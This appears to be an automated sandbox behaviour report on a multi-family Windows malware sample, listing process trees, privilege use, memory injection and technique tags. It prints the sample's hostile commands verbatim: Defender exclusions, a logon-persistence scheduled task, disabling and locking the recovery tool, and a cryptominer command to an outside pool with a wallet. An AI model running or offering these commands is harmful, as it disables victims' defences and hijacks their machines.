Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02qhoqcxeshyzpgo\Provision Saturday, November 07, 2026 04:59:14 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeYO/+TVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAACHnhqbCGK5H/ZGDgt5VeKRKa2Yeed2ij4dK7ynSskGMQAAAAAOgAAAAAIAACAAAACn3yw2K2VQEMXQO801OMAopoXzdN8IRxv67MU40kEZtCAAAABeXJYTe8YD9LX7kl9eDaaazUhrY2QB8Nu2chhx+KU6EEAAAAB6j8Y61TA5vSS4JdJDVEeBfKpT9C6Gk0A8CidKw8pvEW0U5wtmObGmNW3pDHYxrj9kIBUkvuCRux6zwWE7IfhD"	svchost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3888	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3388	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3824	powershell.exe
3824	powershell.exe
4424	powershell.exe
4424	powershell.exe
3736	powershell.exe
3736	powershell.exe
4920	Win-v42.exe
4920	Win-v42.exe
3864	Win-v43.exe
3864	Win-v43.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1260	powershell.exe
1260	powershell.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1260	powershell.exe
1260	powershell.exe
596	winlogon.exe
596	winlogon.exe
3800	Win-v41.exe
3800	Win-v41.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe
596	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3308	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeTakeOwnershipPrivilege	1000	takeown.exe
Token: SeShutdownPrivilege	4988	powercfg.exe
Token: SeCreatePagefilePrivilege	4988	powercfg.exe
Token: SeShutdownPrivilege	4028	powercfg.exe
Token: SeCreatePagefilePrivilege	4028	powercfg.exe
Token: SeShutdownPrivilege	4528	powercfg.exe
Token: SeCreatePagefilePrivilege	4528	powercfg.exe
Token: SeShutdownPrivilege	1856	powercfg.exe
Token: SeCreatePagefilePrivilege	1856	powercfg.exe
Token: SeShutdownPrivilege	1896	powercfg.exe
Token: SeCreatePagefilePrivilege	1896	powercfg.exe
Token: SeShutdownPrivilege	4732	powercfg.exe
Token: SeCreatePagefilePrivilege	4732	powercfg.exe
Token: SeShutdownPrivilege	4372	powercfg.exe
Token: SeCreatePagefilePrivilege	4372	powercfg.exe
Token: SeShutdownPrivilege	4372	powercfg.exe
Token: SeCreatePagefilePrivilege	4372	powercfg.exe
Token: SeLockMemoryPrivilege	2472	cmd.exe
Token: SeLockMemoryPrivilege	2472	cmd.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	596	winlogon.exe
Token: SeShutdownPrivilege	3764	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3764	mousocoreworker.exe
Token: SeShutdownPrivilege	3764	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3764	mousocoreworker.exe
Token: SeShutdownPrivilege	3840	RuntimeBroker.exe
Token: SeShutdownPrivilege	3764	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3764	mousocoreworker.exe
Token: SeShutdownPrivilege	3840	RuntimeBroker.exe
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3764	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3764	mousocoreworker.exe
Token: SeShutdownPrivilege	3764	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3764	mousocoreworker.exe
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3764	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3764	mousocoreworker.exe
Token: SeShutdownPrivilege	3840	RuntimeBroker.exe
Token: SeAssignPrimaryTokenPrivilege	2152	svchost.exe
Token: SeIncreaseQuotaPrivilege	2152	svchost.exe
Token: SeSecurityPrivilege	2152	svchost.exe
Token: SeTakeOwnershipPrivilege	2152	svchost.exe
Token: SeLoadDriverPrivilege	2152	svchost.exe
Token: SeSystemtimePrivilege	2152	svchost.exe
Token: SeBackupPrivilege	2152	svchost.exe
Token: SeRestorePrivilege	2152	svchost.exe
Token: SeShutdownPrivilege	2152	svchost.exe
Token: SeSystemEnvironmentPrivilege	2152	svchost.exe
Token: SeUndockPrivilege	2152	svchost.exe
Token: SeManageVolumePrivilege	2152	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2152	svchost.exe
Token: SeIncreaseQuotaPrivilege	2152	svchost.exe
Token: SeSecurityPrivilege	2152	svchost.exe
Token: SeTakeOwnershipPrivilege	2152	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2472	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 3824	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	87
PID 1752 wrote to memory of 4424	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	89
PID 1752 wrote to memory of 3736	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	91
PID 1752 wrote to memory of 3388	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	93
PID 1752 wrote to memory of 2240	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	95
PID 2240 wrote to memory of 3884	2240	cmd.exe	97
PID 1752 wrote to memory of 2812	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	98
PID 2812 wrote to memory of 1000	2812	cmd.exe	100
PID 1752 wrote to memory of 4748	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	101
PID 4748 wrote to memory of 3984	4748	cmd.exe	103
PID 1752 wrote to memory of 1828	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	104
PID 1828 wrote to memory of 3344	1828	cmd.exe	106
PID 1752 wrote to memory of 4988	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	107
PID 1752 wrote to memory of 4028	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	111
PID 1752 wrote to memory of 4528	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	113
PID 1752 wrote to memory of 1856	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	116
PID 1752 wrote to memory of 1896	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	122
PID 1752 wrote to memory of 4732	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	126
PID 1752 wrote to memory of 4372	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	128
PID 1752 wrote to memory of 3408	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	130
PID 3408 wrote to memory of 3888	3408	cmd.exe	132
PID 1752 wrote to memory of 2472	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137
PID 1752 wrote to memory of 4796	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	139
PID 5028 wrote to memory of 1260	5028	cmd.exe	141
PID 1260 wrote to memory of 596	1260	powershell.exe	5
PID 596 wrote to memory of 664	596	winlogon.exe	7
PID 596 wrote to memory of 872	596	winlogon.exe	11
PID 596 wrote to memory of 60	596	winlogon.exe	13
PID 596 wrote to memory of 440	596	winlogon.exe	14
PID 596 wrote to memory of 1020	596	winlogon.exe	15
PID 596 wrote to memory of 1056	596	winlogon.exe	16
PID 596 wrote to memory of 1136	596	winlogon.exe	18
PID 596 wrote to memory of 1152	596	winlogon.exe	19
PID 596 wrote to memory of 1252	596	winlogon.exe	20
PID 596 wrote to memory of 3800	596	winlogon.exe	145
PID 596 wrote to memory of 1284	596	winlogon.exe	21
PID 596 wrote to memory of 1336	596	winlogon.exe	22
PID 596 wrote to memory of 1364	596	winlogon.exe	23
PID 596 wrote to memory of 1416	596	winlogon.exe	24
PID 596 wrote to memory of 1436	596	winlogon.exe	25
PID 596 wrote to memory of 1592	596	winlogon.exe	26
PID 596 wrote to memory of 1628	596	winlogon.exe	27
PID 596 wrote to memory of 1692	596	winlogon.exe	28
PID 596 wrote to memory of 1704	596	winlogon.exe	29
PID 596 wrote to memory of 1812	596	winlogon.exe	30
PID 596 wrote to memory of 1880	596	winlogon.exe	31
PID 596 wrote to memory of 1920	596	winlogon.exe	32
PID 596 wrote to memory of 1940	596	winlogon.exe	33
PID 596 wrote to memory of 2012	596	winlogon.exe	34
PID 596 wrote to memory of 1888	596	winlogon.exe	35
PID 596 wrote to memory of 1964	596	winlogon.exe	36
PID 596 wrote to memory of 2052	596	winlogon.exe	37
PID 596 wrote to memory of 2152	596	winlogon.exe	38
PID 596 wrote to memory of 2164	596	winlogon.exe	39
PID 596 wrote to memory of 2264	596	winlogon.exe	40
PID 596 wrote to memory of 2364	596	winlogon.exe	42
PID 596 wrote to memory of 2484	596	winlogon.exe	43
PID 596 wrote to memory of 2496	596	winlogon.exe	44
PID 596 wrote to memory of 2608	596	winlogon.exe	45
PID 596 wrote to memory of 2652	596	winlogon.exe	46
PID 596 wrote to memory of 2696	596	winlogon.exe	47
PID 596 wrote to memory of 2752	596	winlogon.exe	48
PID 596 wrote to memory of 2760	596	winlogon.exe	49
PID 596 wrote to memory of 692	596	winlogon.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:596
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:440
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3800

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:664

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e1dd5402-019a-44ee-b8bf-f92801144d07 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3f851ab2-3a8b-44ac-a467-9c561307e4ab -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e0d77750-26d6-4fcb-9a15-612edda0c6f4 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a2b1ac88-d2ce-4bc2-9327-e67d12121d72 -LifetimeId:2ebfec02-5b0b-4eb3-b1f5-bf75bd13400f -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:60

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1252
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1628
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2164

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3240

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3308
- C:\Users\Admin\AppData\Local\Temp\2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3736
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3388
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2240
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:3884
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1000
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3984
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3344
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4988
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4028
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4528
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1856
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1896
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4732
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4372
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3888
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2472
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3436

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3628

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4072

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4728

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2004

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
